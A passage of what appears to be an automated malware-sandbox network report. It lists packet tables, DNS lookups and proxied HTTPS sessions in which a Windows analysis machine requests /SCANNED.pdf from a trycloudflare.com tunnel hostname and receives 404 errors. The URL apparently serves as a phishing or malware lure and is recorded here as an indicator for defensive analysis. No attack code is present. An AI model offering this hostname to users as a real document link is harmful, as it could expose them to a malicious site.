May 23, 2024 21:12:45.099986076 CEST	443	49717	52.165.165.26	192.168.2.7
May 23, 2024 21:12:45.099992990 CEST	443	49717	52.165.165.26	192.168.2.7
May 23, 2024 21:12:45.100025892 CEST	443	49717	52.165.165.26	192.168.2.7
May 23, 2024 21:12:45.100045919 CEST	49717	443	192.168.2.7	52.165.165.26
May 23, 2024 21:12:45.100050926 CEST	443	49717	52.165.165.26	192.168.2.7
May 23, 2024 21:12:45.100060940 CEST	443	49717	52.165.165.26	192.168.2.7
May 23, 2024 21:12:45.100078106 CEST	443	49717	52.165.165.26	192.168.2.7
May 23, 2024 21:12:45.100090981 CEST	49717	443	192.168.2.7	52.165.165.26
May 23, 2024 21:12:45.100106955 CEST	49717	443	192.168.2.7	52.165.165.26
May 23, 2024 21:12:45.100122929 CEST	49717	443	192.168.2.7	52.165.165.26
May 23, 2024 21:12:45.114324093 CEST	443	49717	52.165.165.26	192.168.2.7
May 23, 2024 21:12:45.114413023 CEST	49717	443	192.168.2.7	52.165.165.26
May 23, 2024 21:12:45.114420891 CEST	443	49717	52.165.165.26	192.168.2.7
May 23, 2024 21:12:45.114432096 CEST	443	49717	52.165.165.26	192.168.2.7
May 23, 2024 21:12:45.114501953 CEST	49717	443	192.168.2.7	52.165.165.26
May 23, 2024 21:12:45.864002943 CEST	49717	443	192.168.2.7	52.165.165.26
May 23, 2024 21:12:45.864038944 CEST	443	49717	52.165.165.26	192.168.2.7
May 23, 2024 21:12:45.864058971 CEST	49717	443	192.168.2.7	52.165.165.26
May 23, 2024 21:12:45.864067078 CEST	443	49717	52.165.165.26	192.168.2.7
May 23, 2024 21:12:52.746511936 CEST	49677	443	192.168.2.7	20.50.201.200
May 23, 2024 21:13:22.850080013 CEST	49723	443	192.168.2.7	52.165.165.26
May 23, 2024 21:13:22.850120068 CEST	443	49723	52.165.165.26	192.168.2.7
May 23, 2024 21:13:22.850188971 CEST	49723	443	192.168.2.7	52.165.165.26
May 23, 2024 21:13:22.850640059 CEST	49723	443	192.168.2.7	52.165.165.26
May 23, 2024 21:13:22.850651026 CEST	443	49723	52.165.165.26	192.168.2.7
May 23, 2024 21:13:23.655518055 CEST	443	49723	52.165.165.26	192.168.2.7
May 23, 2024 21:13:23.655761003 CEST	49723	443	192.168.2.7	52.165.165.26
May 23, 2024 21:13:23.658915997 CEST	49723	443	192.168.2.7	52.165.165.26
May 23, 2024 21:13:23.658926964 CEST	443	49723	52.165.165.26	192.168.2.7
May 23, 2024 21:13:23.659255028 CEST	443	49723	52.165.165.26	192.168.2.7
May 23, 2024 21:13:23.665986061 CEST	49723	443	192.168.2.7	52.165.165.26
May 23, 2024 21:13:23.706502914 CEST	443	49723	52.165.165.26	192.168.2.7
May 23, 2024 21:13:23.974699020 CEST	443	49723	52.165.165.26	192.168.2.7
May 23, 2024 21:13:23.974737883 CEST	443	49723	52.165.165.26	192.168.2.7
May 23, 2024 21:13:23.974752903 CEST	443	49723	52.165.165.26	192.168.2.7
May 23, 2024 21:13:23.974885941 CEST	49723	443	192.168.2.7	52.165.165.26
May 23, 2024 21:13:23.974916935 CEST	443	49723	52.165.165.26	192.168.2.7
May 23, 2024 21:13:23.974963903 CEST	49723	443	192.168.2.7	52.165.165.26
May 23, 2024 21:13:23.996828079 CEST	443	49723	52.165.165.26	192.168.2.7
May 23, 2024 21:13:23.996876955 CEST	443	49723	52.165.165.26	192.168.2.7
May 23, 2024 21:13:23.996962070 CEST	443	49723	52.165.165.26	192.168.2.7
May 23, 2024 21:13:23.997167110 CEST	49723	443	192.168.2.7	52.165.165.26
May 23, 2024 21:13:23.997411013 CEST	49723	443	192.168.2.7	52.165.165.26
May 23, 2024 21:13:23.997430086 CEST	443	49723	52.165.165.26	192.168.2.7
May 23, 2024 21:13:23.997442007 CEST	49723	443	192.168.2.7	52.165.165.26
May 23, 2024 21:13:23.997450113 CEST	443	49723	52.165.165.26	192.168.2.7
May 23, 2024 21:13:29.864331007 CEST	55732	53	192.168.2.7	1.1.1.1
May 23, 2024 21:13:29.869390965 CEST	53	55732	1.1.1.1	192.168.2.7
May 23, 2024 21:13:29.869472980 CEST	55732	53	192.168.2.7	1.1.1.1
May 23, 2024 21:13:29.869510889 CEST	55732	53	192.168.2.7	1.1.1.1
May 23, 2024 21:13:29.921173096 CEST	53	55732	1.1.1.1	192.168.2.7
May 23, 2024 21:13:30.323354006 CEST	53	55732	1.1.1.1	192.168.2.7
May 23, 2024 21:13:30.324114084 CEST	55732	53	192.168.2.7	1.1.1.1
May 23, 2024 21:13:30.332492113 CEST	53	55732	1.1.1.1	192.168.2.7
May 23, 2024 21:13:30.332591057 CEST	55732	53	192.168.2.7	1.1.1.1
May 23, 2024 21:13:32.451281071 CEST	55734	443	192.168.2.7	142.250.186.100
May 23, 2024 21:13:32.451337099 CEST	443	55734	142.250.186.100	192.168.2.7
May 23, 2024 21:13:32.451448917 CEST	55734	443	192.168.2.7	142.250.186.100
May 23, 2024 21:13:32.451670885 CEST	55734	443	192.168.2.7	142.250.186.100
May 23, 2024 21:13:32.451688051 CEST	443	55734	142.250.186.100	192.168.2.7
May 23, 2024 21:13:33.566468000 CEST	443	55734	142.250.186.100	192.168.2.7
May 23, 2024 21:13:33.566741943 CEST	55734	443	192.168.2.7	142.250.186.100
May 23, 2024 21:13:33.566767931 CEST	443	55734	142.250.186.100	192.168.2.7
May 23, 2024 21:13:33.567090034 CEST	443	55734	142.250.186.100	192.168.2.7
May 23, 2024 21:13:33.567368031 CEST	55734	443	192.168.2.7	142.250.186.100
May 23, 2024 21:13:33.567416906 CEST	443	55734	142.250.186.100	192.168.2.7
May 23, 2024 21:13:33.621279001 CEST	55734	443	192.168.2.7	142.250.186.100
May 23, 2024 21:13:43.461805105 CEST	443	55734	142.250.186.100	192.168.2.7
May 23, 2024 21:13:43.461889029 CEST	443	55734	142.250.186.100	192.168.2.7
May 23, 2024 21:13:43.461954117 CEST	55734	443	192.168.2.7	142.250.186.100
May 23, 2024 21:13:45.454199076 CEST	55734	443	192.168.2.7	142.250.186.100
May 23, 2024 21:13:45.454248905 CEST	443	55734	142.250.186.100	192.168.2.7

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 23, 2024 21:12:28.001068115 CEST	60980	53	192.168.2.7	1.1.1.1
May 23, 2024 21:12:28.001245022 CEST	63779	53	192.168.2.7	1.1.1.1
May 23, 2024 21:12:28.091609955 CEST	53	63835	1.1.1.1	192.168.2.7
May 23, 2024 21:12:28.091623068 CEST	53	63779	1.1.1.1	192.168.2.7
May 23, 2024 21:12:28.091638088 CEST	53	60980	1.1.1.1	192.168.2.7
May 23, 2024 21:12:28.134687901 CEST	53	62645	1.1.1.1	192.168.2.7
May 23, 2024 21:12:29.264565945 CEST	53	51264	1.1.1.1	192.168.2.7
May 23, 2024 21:12:30.678704977 CEST	60513	53	192.168.2.7	1.1.1.1
May 23, 2024 21:12:30.694542885 CEST	53	60513	1.1.1.1	192.168.2.7
May 23, 2024 21:12:32.388123989 CEST	64520	53	192.168.2.7	1.1.1.1
May 23, 2024 21:12:32.388443947 CEST	54127	53	192.168.2.7	1.1.1.1
May 23, 2024 21:12:32.426701069 CEST	53	64520	1.1.1.1	192.168.2.7
May 23, 2024 21:12:32.431488991 CEST	53	54127	1.1.1.1	192.168.2.7
May 23, 2024 21:12:34.070512056 CEST	123	123	192.168.2.7	40.119.148.38
May 23, 2024 21:12:34.254812002 CEST	123	123	40.119.148.38	192.168.2.7
May 23, 2024 21:12:35.668834925 CEST	123	123	192.168.2.7	40.119.148.38
May 23, 2024 21:12:35.886493921 CEST	123	123	40.119.148.38	192.168.2.7
May 23, 2024 21:12:41.032421112 CEST	59496	53	192.168.2.7	1.1.1.1
May 23, 2024 21:12:41.032733917 CEST	52643	53	192.168.2.7	1.1.1.1
May 23, 2024 21:12:41.055989027 CEST	53	59496	1.1.1.1	192.168.2.7
May 23, 2024 21:12:41.071101904 CEST	60580	53	192.168.2.7	1.1.1.1
May 23, 2024 21:12:41.076571941 CEST	53	52643	1.1.1.1	192.168.2.7
May 23, 2024 21:12:41.086877108 CEST	53	60580	1.1.1.1	192.168.2.7
May 23, 2024 21:12:41.323270082 CEST	65246	53	192.168.2.7	1.1.1.1
May 23, 2024 21:12:41.323613882 CEST	54282	53	192.168.2.7	1.1.1.1
May 23, 2024 21:12:41.348042011 CEST	53	65246	1.1.1.1	192.168.2.7
May 23, 2024 21:12:41.378791094 CEST	53	54282	1.1.1.1	192.168.2.7
May 23, 2024 21:12:41.674870968 CEST	63564	53	192.168.2.7	8.8.8.8
May 23, 2024 21:12:41.675271988 CEST	63881	53	192.168.2.7	1.1.1.1
May 23, 2024 21:12:41.681669950 CEST	53	63564	8.8.8.8	192.168.2.7
May 23, 2024 21:12:41.690217972 CEST	53	63881	1.1.1.1	192.168.2.7
May 23, 2024 21:12:42.673460960 CEST	57670	53	192.168.2.7	1.1.1.1
May 23, 2024 21:12:42.673645020 CEST	58233	53	192.168.2.7	1.1.1.1
May 23, 2024 21:12:42.909193039 CEST	54008	53	192.168.2.7	1.1.1.1
May 23, 2024 21:12:42.912560940 CEST	53	57670	1.1.1.1	192.168.2.7
May 23, 2024 21:12:42.922476053 CEST	53	58233	1.1.1.1	192.168.2.7
May 23, 2024 21:12:42.927661896 CEST	53	54008	1.1.1.1	192.168.2.7
May 23, 2024 21:12:46.207529068 CEST	53	56101	1.1.1.1	192.168.2.7
May 23, 2024 21:12:47.971096992 CEST	60117	53	192.168.2.7	1.1.1.1
May 23, 2024 21:12:47.971278906 CEST	54105	53	192.168.2.7	1.1.1.1
May 23, 2024 21:12:47.982583046 CEST	53	60117	1.1.1.1	192.168.2.7
May 23, 2024 21:12:47.992063999 CEST	62792	53	192.168.2.7	1.1.1.1
May 23, 2024 21:12:47.996937990 CEST	53	54105	1.1.1.1	192.168.2.7
May 23, 2024 21:12:48.008897066 CEST	53	62792	1.1.1.1	192.168.2.7
May 23, 2024 21:13:01.434971094 CEST	50370	53	192.168.2.7	1.1.1.1
May 23, 2024 21:13:01.449350119 CEST	53	50370	1.1.1.1	192.168.2.7
May 23, 2024 21:13:05.138854027 CEST	53	53753	1.1.1.1	192.168.2.7
May 23, 2024 21:13:18.019140005 CEST	52125	53	192.168.2.7	1.1.1.1
May 23, 2024 21:13:18.019284010 CEST	53788	53	192.168.2.7	1.1.1.1
May 23, 2024 21:13:18.079116106 CEST	53	52125	1.1.1.1	192.168.2.7
May 23, 2024 21:13:18.079133987 CEST	53	53788	1.1.1.1	192.168.2.7
May 23, 2024 21:13:18.080010891 CEST	52676	53	192.168.2.7	1.1.1.1
May 23, 2024 21:13:18.121123075 CEST	53	52676	1.1.1.1	192.168.2.7
May 23, 2024 21:13:27.692028999 CEST	53	60787	1.1.1.1	192.168.2.7
May 23, 2024 21:13:28.028923988 CEST	53	52812	1.1.1.1	192.168.2.7
May 23, 2024 21:13:29.518198967 CEST	138	138	192.168.2.7	192.168.2.255
May 23, 2024 21:13:29.863862038 CEST	53	59175	1.1.1.1	192.168.2.7
May 23, 2024 21:13:43.130124092 CEST	64866	53	192.168.2.7	1.1.1.1
May 23, 2024 21:13:43.217660904 CEST	53	64866	1.1.1.1	192.168.2.7
May 23, 2024 21:13:58.901715040 CEST	53	53576	1.1.1.1	192.168.2.7
May 23, 2024 21:14:13.954106092 CEST	56499	53	192.168.2.7	1.1.1.1
May 23, 2024 21:14:13.967823982 CEST	53	56499	1.1.1.1	192.168.2.7
May 23, 2024 21:14:18.143605947 CEST	63860	53	192.168.2.7	1.1.1.1
May 23, 2024 21:14:18.143749952 CEST	63788	53	192.168.2.7	1.1.1.1
May 23, 2024 21:14:18.159516096 CEST	53	63860	1.1.1.1	192.168.2.7
May 23, 2024 21:14:18.177926064 CEST	62682	53	192.168.2.7	1.1.1.1
May 23, 2024 21:14:18.182720900 CEST	53	63788	1.1.1.1	192.168.2.7
May 23, 2024 21:14:18.192724943 CEST	53	62682	1.1.1.1	192.168.2.7

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
May 23, 2024 21:12:41.076652050 CEST	192.168.2.7	1.1.1.1	c243	(Port unreachable)	Destination Unreachable
May 23, 2024 21:12:47.997006893 CEST	192.168.2.7	1.1.1.1	c243	(Port unreachable)	Destination Unreachable
May 23, 2024 21:13:27.692099094 CEST	192.168.2.7	1.1.1.1	c227	(Port unreachable)	Destination Unreachable
May 23, 2024 21:14:18.182811975 CEST	192.168.2.7	1.1.1.1	c243	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
May 23, 2024 21:12:28.001068115 CEST	192.168.2.7	1.1.1.1	0x6c56	Standard query (0)	floor-contemporary-genius-accommodation.trycloudflare.com	A (IP address)	IN (0x0001)	false
May 23, 2024 21:12:28.001245022 CEST	192.168.2.7	1.1.1.1	0xd2be	Standard query (0)	floor-contemporary-genius-accommodation.trycloudflare.com	65	IN (0x0001)	false
May 23, 2024 21:12:30.678704977 CEST	192.168.2.7	1.1.1.1	0x2dae	Standard query (0)	gonna-truly-conflict-deserve.trycloudflare.com	A (IP address)	IN (0x0001)	false
May 23, 2024 21:12:32.388123989 CEST	192.168.2.7	1.1.1.1	0x9371	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
May 23, 2024 21:12:32.388443947 CEST	192.168.2.7	1.1.1.1	0xd91b	Standard query (0)	www.google.com	65	IN (0x0001)	false
May 23, 2024 21:12:41.032421112 CEST	192.168.2.7	1.1.1.1	0x3b07	Standard query (0)	gonna-truly-conflict-deserve.trycloudflare.com	A (IP address)	IN (0x0001)	false
May 23, 2024 21:12:41.032733917 CEST	192.168.2.7	1.1.1.1	0xf4c1	Standard query (0)	gonna-truly-conflict-deserve.trycloudflare.com	65	IN (0x0001)	false
May 23, 2024 21:12:41.071101904 CEST	192.168.2.7	1.1.1.1	0x9b7c	Standard query (0)	gonna-truly-conflict-deserve.trycloudflare.com	A (IP address)	IN (0x0001)	false
May 23, 2024 21:12:41.323270082 CEST	192.168.2.7	1.1.1.1	0x543	Standard query (0)	gonna-truly-conflict-deserve.trycloudflare.com	A (IP address)	IN (0x0001)	false
May 23, 2024 21:12:41.323613882 CEST	192.168.2.7	1.1.1.1	0xeb6c	Standard query (0)	gonna-truly-conflict-deserve.trycloudflare.com	65	IN (0x0001)	false
May 23, 2024 21:12:41.674870968 CEST	192.168.2.7	8.8.8.8	0x2fff	Standard query (0)	google.com	A (IP address)	IN (0x0001)	false
May 23, 2024 21:12:41.675271988 CEST	192.168.2.7	1.1.1.1	0x967d	Standard query (0)	google.com	A (IP address)	IN (0x0001)	false
May 23, 2024 21:12:42.673460960 CEST	192.168.2.7	1.1.1.1	0xfba0	Standard query (0)	gonna-truly-conflict-deserve.trycloudflare.com	A (IP address)	IN (0x0001)	false
May 23, 2024 21:12:42.673645020 CEST	192.168.2.7	1.1.1.1	0xe012	Standard query (0)	gonna-truly-conflict-deserve.trycloudflare.com	65	IN (0x0001)	false
May 23, 2024 21:12:42.909193039 CEST	192.168.2.7	1.1.1.1	0x159f	Standard query (0)	gonna-truly-conflict-deserve.trycloudflare.com	A (IP address)	IN (0x0001)	false
May 23, 2024 21:12:47.971096992 CEST	192.168.2.7	1.1.1.1	0x970f	Standard query (0)	gonna-truly-conflict-deserve.trycloudflare.com	A (IP address)	IN (0x0001)	false
May 23, 2024 21:12:47.971278906 CEST	192.168.2.7	1.1.1.1	0x625e	Standard query (0)	gonna-truly-conflict-deserve.trycloudflare.com	65	IN (0x0001)	false
May 23, 2024 21:12:47.992063999 CEST	192.168.2.7	1.1.1.1	0x98fe	Standard query (0)	gonna-truly-conflict-deserve.trycloudflare.com	A (IP address)	IN (0x0001)	false
May 23, 2024 21:13:01.434971094 CEST	192.168.2.7	1.1.1.1	0x5c99	Standard query (0)	gonna-truly-conflict-deserve.trycloudflare.com	A (IP address)	IN (0x0001)	false
May 23, 2024 21:13:18.019140005 CEST	192.168.2.7	1.1.1.1	0xdeff	Standard query (0)	gonna-truly-conflict-deserve.trycloudflare.com	A (IP address)	IN (0x0001)	false
May 23, 2024 21:13:18.019284010 CEST	192.168.2.7	1.1.1.1	0x20d6	Standard query (0)	gonna-truly-conflict-deserve.trycloudflare.com	65	IN (0x0001)	false
May 23, 2024 21:13:18.080010891 CEST	192.168.2.7	1.1.1.1	0x6b24	Standard query (0)	gonna-truly-conflict-deserve.trycloudflare.com	A (IP address)	IN (0x0001)	false
May 23, 2024 21:13:43.130124092 CEST	192.168.2.7	1.1.1.1	0x774	Standard query (0)	gonna-truly-conflict-deserve.trycloudflare.com	A (IP address)	IN (0x0001)	false
May 23, 2024 21:14:13.954106092 CEST	192.168.2.7	1.1.1.1	0xe0c9	Standard query (0)	gonna-truly-conflict-deserve.trycloudflare.com	A (IP address)	IN (0x0001)	false
May 23, 2024 21:14:18.143605947 CEST	192.168.2.7	1.1.1.1	0xc2f2	Standard query (0)	gonna-truly-conflict-deserve.trycloudflare.com	A (IP address)	IN (0x0001)	false
May 23, 2024 21:14:18.143749952 CEST	192.168.2.7	1.1.1.1	0xb9f2	Standard query (0)	gonna-truly-conflict-deserve.trycloudflare.com	65	IN (0x0001)	false
May 23, 2024 21:14:18.177926064 CEST	192.168.2.7	1.1.1.1	0xe587	Standard query (0)	gonna-truly-conflict-deserve.trycloudflare.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
May 23, 2024 21:12:28.091623068 CEST	1.1.1.1	192.168.2.7	0xd2be	No error (0)	floor-contemporary-genius-accommodation.trycloudflare.com			65	IN (0x0001)	false
May 23, 2024 21:12:28.091638088 CEST	1.1.1.1	192.168.2.7	0x6c56	No error (0)	floor-contemporary-genius-accommodation.trycloudflare.com		104.16.231.132	A (IP address)	IN (0x0001)	false
May 23, 2024 21:12:28.091638088 CEST	1.1.1.1	192.168.2.7	0x6c56	No error (0)	floor-contemporary-genius-accommodation.trycloudflare.com		104.16.230.132	A (IP address)	IN (0x0001)	false
May 23, 2024 21:12:30.694542885 CEST	1.1.1.1	192.168.2.7	0x2dae	Name error (3)	gonna-truly-conflict-deserve.trycloudflare.com	none	none	A (IP address)	IN (0x0001)	false
May 23, 2024 21:12:32.426701069 CEST	1.1.1.1	192.168.2.7	0x9371	No error (0)	www.google.com		142.250.186.100	A (IP address)	IN (0x0001)	false
May 23, 2024 21:12:32.431488991 CEST	1.1.1.1	192.168.2.7	0xd91b	No error (0)	www.google.com			65	IN (0x0001)	false
May 23, 2024 21:12:41.055989027 CEST	1.1.1.1	192.168.2.7	0x3b07	Name error (3)	gonna-truly-conflict-deserve.trycloudflare.com	none	none	A (IP address)	IN (0x0001)	false
May 23, 2024 21:12:41.076571941 CEST	1.1.1.1	192.168.2.7	0xf4c1	Name error (3)	gonna-truly-conflict-deserve.trycloudflare.com	none	none	65	IN (0x0001)	false
May 23, 2024 21:12:41.086877108 CEST	1.1.1.1	192.168.2.7	0x9b7c	Name error (3)	gonna-truly-conflict-deserve.trycloudflare.com	none	none	A (IP address)	IN (0x0001)	false
May 23, 2024 21:12:41.348042011 CEST	1.1.1.1	192.168.2.7	0x543	Name error (3)	gonna-truly-conflict-deserve.trycloudflare.com	none	none	A (IP address)	IN (0x0001)	false
May 23, 2024 21:12:41.378791094 CEST	1.1.1.1	192.168.2.7	0xeb6c	Name error (3)	gonna-truly-conflict-deserve.trycloudflare.com	none	none	65	IN (0x0001)	false
May 23, 2024 21:12:41.681669950 CEST	8.8.8.8	192.168.2.7	0x2fff	No error (0)	google.com		142.250.185.206	A (IP address)	IN (0x0001)	false
May 23, 2024 21:12:41.690217972 CEST	1.1.1.1	192.168.2.7	0x967d	No error (0)	google.com		172.217.16.142	A (IP address)	IN (0x0001)	false
May 23, 2024 21:12:42.912560940 CEST	1.1.1.1	192.168.2.7	0xfba0	Name error (3)	gonna-truly-conflict-deserve.trycloudflare.com	none	none	A (IP address)	IN (0x0001)	false
May 23, 2024 21:12:42.922476053 CEST	1.1.1.1	192.168.2.7	0xe012	Name error (3)	gonna-truly-conflict-deserve.trycloudflare.com	none	none	65	IN (0x0001)	false
May 23, 2024 21:12:42.927661896 CEST	1.1.1.1	192.168.2.7	0x159f	Name error (3)	gonna-truly-conflict-deserve.trycloudflare.com	none	none	A (IP address)	IN (0x0001)	false
May 23, 2024 21:12:47.982583046 CEST	1.1.1.1	192.168.2.7	0x970f	Name error (3)	gonna-truly-conflict-deserve.trycloudflare.com	none	none	A (IP address)	IN (0x0001)	false
May 23, 2024 21:12:47.996937990 CEST	1.1.1.1	192.168.2.7	0x625e	Name error (3)	gonna-truly-conflict-deserve.trycloudflare.com	none	none	65	IN (0x0001)	false
May 23, 2024 21:12:48.008897066 CEST	1.1.1.1	192.168.2.7	0x98fe	Name error (3)	gonna-truly-conflict-deserve.trycloudflare.com	none	none	A (IP address)	IN (0x0001)	false
May 23, 2024 21:13:01.449350119 CEST	1.1.1.1	192.168.2.7	0x5c99	Name error (3)	gonna-truly-conflict-deserve.trycloudflare.com	none	none	A (IP address)	IN (0x0001)	false
May 23, 2024 21:13:18.079116106 CEST	1.1.1.1	192.168.2.7	0xdeff	Name error (3)	gonna-truly-conflict-deserve.trycloudflare.com	none	none	A (IP address)	IN (0x0001)	false
May 23, 2024 21:13:18.079133987 CEST	1.1.1.1	192.168.2.7	0x20d6	Name error (3)	gonna-truly-conflict-deserve.trycloudflare.com	none	none	65	IN (0x0001)	false
May 23, 2024 21:13:18.121123075 CEST	1.1.1.1	192.168.2.7	0x6b24	Name error (3)	gonna-truly-conflict-deserve.trycloudflare.com	none	none	A (IP address)	IN (0x0001)	false
May 23, 2024 21:13:43.217660904 CEST	1.1.1.1	192.168.2.7	0x774	Name error (3)	gonna-truly-conflict-deserve.trycloudflare.com	none	none	A (IP address)	IN (0x0001)	false
May 23, 2024 21:14:13.967823982 CEST	1.1.1.1	192.168.2.7	0xe0c9	Name error (3)	gonna-truly-conflict-deserve.trycloudflare.com	none	none	A (IP address)	IN (0x0001)	false
May 23, 2024 21:14:18.159516096 CEST	1.1.1.1	192.168.2.7	0xc2f2	Name error (3)	gonna-truly-conflict-deserve.trycloudflare.com	none	none	A (IP address)	IN (0x0001)	false
May 23, 2024 21:14:18.182720900 CEST	1.1.1.1	192.168.2.7	0xb9f2	Name error (3)	gonna-truly-conflict-deserve.trycloudflare.com	none	none	65	IN (0x0001)	false
May 23, 2024 21:14:18.192724943 CEST	1.1.1.1	192.168.2.7	0xe587	Name error (3)	gonna-truly-conflict-deserve.trycloudflare.com	none	none	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

floor-contemporary-genius-accommodation.trycloudflare.com

https:

slscr.update.microsoft.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49700	104.16.231.132	443	2664	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 19:12:28 UTC	711	OUT	GET /SCANNED.pdf HTTP/1.1 Host: floor-contemporary-genius-accommodation.trycloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 19:12:28 UTC	226	IN	HTTP/1.1 404 Not Found Date: Thu, 23 May 2024 19:12:28 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close CF-Ray: 88875b93b81c423d-EWR CF-Cache-Status: DYNAMIC Server: cloudflare
2024-05-23 19:12:28 UTC	399	IN	Data Raw: 31 38 38 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 27 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 27 20 27 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 27 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 27 43 6f 6e 74 65 6e 74 2d 54 79 70 65 27 20 63 6f 6e 74 65 6e 74 3d 27 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 27 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 20 20 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 20 20 3c 70 3e 34 Data Ascii: 188<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01//EN' 'http://www.w3.org/TR/html4/strict.dtd'><html><head> <meta http-equiv='Content-Type' content='text/html; charset=utf-8'> <title>404 Not Found</title></head><body> <h1>404 Not Found</h1> <p>4
2024-05-23 19:12:28 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49706	104.16.231.132	443	2664	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 19:12:29 UTC	812	OUT	GET /SCANNED.pdf HTTP/1.1 Host: floor-contemporary-genius-accommodation.trycloudflare.com Connection: keep-alive Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://floor-contemporary-genius-accommodation.trycloudflare.com/SCANNED.pdf Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 19:12:29 UTC	226	IN	HTTP/1.1 404 Not Found Date: Thu, 23 May 2024 19:12:29 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close CF-Ray: 88875b9a3a08726e-EWR CF-Cache-Status: DYNAMIC Server: cloudflare
2024-05-23 19:12:29 UTC	399	IN	Data Raw: 31 38 38 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 27 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 27 20 27 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 27 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 27 43 6f 6e 74 65 6e 74 2d 54 79 70 65 27 20 63 6f 6e 74 65 6e 74 3d 27 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 27 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 20 20 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 20 20 3c 70 3e 34 Data Ascii: 188<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01//EN' 'http://www.w3.org/TR/html4/strict.dtd'><html><head> <meta http-equiv='Content-Type' content='text/html; charset=utf-8'> <title>404 Not Found</title></head><body> <h1>404 Not Found</h1> <p>4
2024-05-23 19:12:29 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	49707	104.16.231.132	443	2664	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
